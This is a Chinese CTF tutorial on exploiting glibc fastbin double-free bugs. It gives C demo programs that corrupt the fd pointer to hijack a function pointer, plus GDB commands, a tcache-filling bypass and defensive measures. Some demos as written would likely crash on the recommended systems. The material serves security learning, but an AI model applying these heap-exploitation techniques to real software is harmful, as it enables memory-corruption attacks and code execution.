从CTF实战出发:手把手教你复现Fastbin Double Free漏洞(附GDB调试技巧)
2026/6/5 20:02:56 网站建设 项目流程

从CTF实战出发:手把手教你复现Fastbin Double Free漏洞(附GDB调试技巧)

在CTF竞赛和二进制安全研究中,堆利用一直是让许多初学者既爱又恨的领域。特别是fastbin相关的漏洞利用,因其独特的机制和相对可控的利用条件,成为入门堆漏洞的首选案例。本文将从一个简单的C程序出发,通过GDB调试带你完整复现fastbin double free漏洞的利用过程,不仅理解原理,更要掌握实战中的调试技巧。

1. 实验环境搭建与基础知识

在开始之前,我们需要准备以下环境:

  • Ubuntu 18.04/20.04 LTS(推荐)
  • GCC编译器
  • GDB调试器(建议安装pwndbg或gef插件)
  • 基本的C语言编程能力

fastbin是glibc内存管理中的一个特殊机制,用于快速分配和释放小块内存(通常小于128字节)。它的几个关键特性决定了double free漏洞的存在:

  1. 单向链表结构:fastbin使用后进先出(LIFO)的单向链表管理空闲chunk
  2. 有限的检查:只检查最近释放的chunk是否与当前释放的chunk相同
  3. 不清理inuse位:释放后的chunk仍标记为"inuse",防止合并
// 示例:创建三个fastbin chunk void *chunk1 = malloc(0x20); void *chunk2 = malloc(0x20); void *chunk3 = malloc(0x20);

2. 基础Double Free实验

我们先从一个最简单的double free示例开始:

// double_free_basic.c #include <stdio.h> #include <stdlib.h> int main() { void *chunk1 = malloc(0x20); void *chunk2 = malloc(0x20); free(chunk1); free(chunk2); free(chunk1); // 第二次释放chunk1 return 0; }

编译时记得加上调试信息:

gcc -g double_free_basic.c -o double_free_basic

使用GDB调试时,关键的内存观察命令:

pwndbg> heap chunks # 查看堆布局 pwndbg> heap bins # 查看bins状态 pwndbg> x/20gx 0x555555757000 # 查看内存内容

在第三次free时,程序不会崩溃,因为glibc的检查机制只验证最近释放的chunk(chunk2)是否与当前释放的chunk(chunk1)相同。

3. 深入理解fastbin链表状态

让我们通过GDB观察fastbin链表的变化。在每次free后设置断点,观察内存状态:

  1. **第一次free(chunk1)**后:

    • fastbin链表:chunk1 -> NULL
    • chunk1的fd指针为0
  2. **第二次free(chunk2)**后:

    • fastbin链表:chunk2 -> chunk1 -> NULL
    • chunk2的fd指向chunk1
  3. **第三次free(chunk1)**后:

    • fastbin链表:chunk1 -> chunk2 -> chunk1 -> NULL
    • 形成了循环链表,这是利用的关键

关键GDB命令:

pwndbg> p main_arena.fastbinsY[0] # 查看0x20大小fastbin链表头 pwndbg> x/gx <chunk_addr> # 查看具体chunk内容

4. 从理论到实践:控制fd指针

Double free的真正威力在于我们可以通过分配和修改chunk来控制fd指针。考虑以下进阶示例:

// double_free_advanced.c #include <stdio.h> #include <stdlib.h> int main() { void *chunk1 = malloc(0x20); void *chunk2 = malloc(0x20); free(chunk1); free(chunk2); free(chunk1); // double free // 重新分配chunk1 void *chunk1_again = malloc(0x20); // 修改chunk1的fd指针 *(unsigned long long *)chunk1_again = 0xdeadbeef; // 伪地址 // 连续分配消耗链表 malloc(0x20); // 分配chunk2 malloc(0x20); // 分配chunk1 // 现在可以分配到我们控制的地址 void *evil_chunk = malloc(0x20); printf("Evil chunk at %p\n", evil_chunk); return 0; }

调试技巧:

  • 在修改fd指针前后,使用heap bins观察fastbin链表变化
  • 使用vmmap命令查看内存布局,选择合适的目标地址
  • 注意地址对齐要求(fastbin chunk需要16字节对齐)

5. 实战利用:改写函数指针

最经典的利用方式是通过控制堆分配来改写关键数据。假设程序有一个函数指针:

// double_free_hijack.c #include <stdio.h> #include <stdlib.h> void win() { printf("Congratulations! You've exploited the double free!\n"); } int main() { void (*func_ptr)() = NULL; void *chunk1 = malloc(0x20); void *chunk2 = malloc(0x20); free(chunk1); free(chunk2); free(chunk1); // double free // 重新分配并修改fd void *chunk1_again = malloc(0x20); *(unsigned long long *)chunk1_again = (unsigned long long)&func_ptr - 8; // 消耗链表 malloc(0x20); malloc(0x20); // 现在分配到func_ptr附近 void *evil_chunk = malloc(0x20); *(unsigned long long *)(evil_chunk + 8) = (unsigned long long)win; // 触发函数调用 func_ptr(); return 0; }

调试要点:

  1. 计算func_ptr的准确地址(使用p &func_ptr
  2. 注意chunk头部的size字段(通常需要设置为0x21)
  3. 确保写入的win函数地址正确(使用p win验证)

6. CTF中的常见变种与绕过技巧

在实际CTF比赛中,double free的利用可能会遇到各种保护机制和变形。以下是几种常见情况及其应对策略:

6.1 绕过tcache

在较新版本的glibc中,tcache会优先处理小的chunk分配。要利用fastbin double free,需要:

  1. 填满tcache bin(连续分配和释放7个chunk)
  2. 然后操作才会进入fastbin
// 填满tcache for(int i=0; i<7; i++) { void *p = malloc(0x20); free(p); }

6.2 大小限制检查

fastbin对chunk大小有严格检查。如果要分配到目标地址,需要:

  1. 确保目标地址-8处的值是一个合法的size(如0x21)
  2. 或者提前在目标地址布置好伪造的size字段

6.3 结合其他漏洞

通常double free会与其他漏洞结合:

  • 堆溢出:修改相邻chunk的元数据
  • UAF:在释放后继续使用chunk
  • 信息泄露:获取堆地址或libc地址

7. 防御措施与检测方法

了解攻击手段后,也要知道如何防御:

  1. 编译时保护

    gcc -fsanitize=address -g double_free.c -o double_free

    AddressSanitizer可以检测double free等内存错误

  2. 运行时检测

    • 使用MALLOC_CHECK_=1环境变量
    • 或设置export LIBC_FATAL_STDERR_=1
  3. 代码审计要点

    • 确保每个malloc都有对应的free
    • 指针释放后立即置NULL
    • 避免复杂的指针操作

在GDB中,可以使用watchpoint来监控关键内存的修改:

watch *(unsigned long long *)0x555555757020

8. 扩展练习与资源推荐

为了真正掌握fastbin double free,建议尝试以下练习:

  1. 修改示例程序,尝试分配到.bss段或栈上
  2. 在CTF题目中实践(推荐pwnable.tw的hacknote)
  3. 阅读glibc源码中的_int_free_int_malloc实现

推荐学习资源:

  • glibc malloc源码分析
  • 《漏洞利用的艺术:堆溢出实战》
  • CTF Wiki堆利用部分
  • LiveOverflow的YouTube堆利用教程

记住,堆利用的关键在于耐心和细致的观察。每个步骤都要通过GDB验证内存状态,理解每个操作对堆布局的影响。刚开始可能会遇到各种崩溃和意外行为,这正是学习的过程。保持好奇心,享受探索的乐趣,你会在二进制安全的道路上越走越远。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询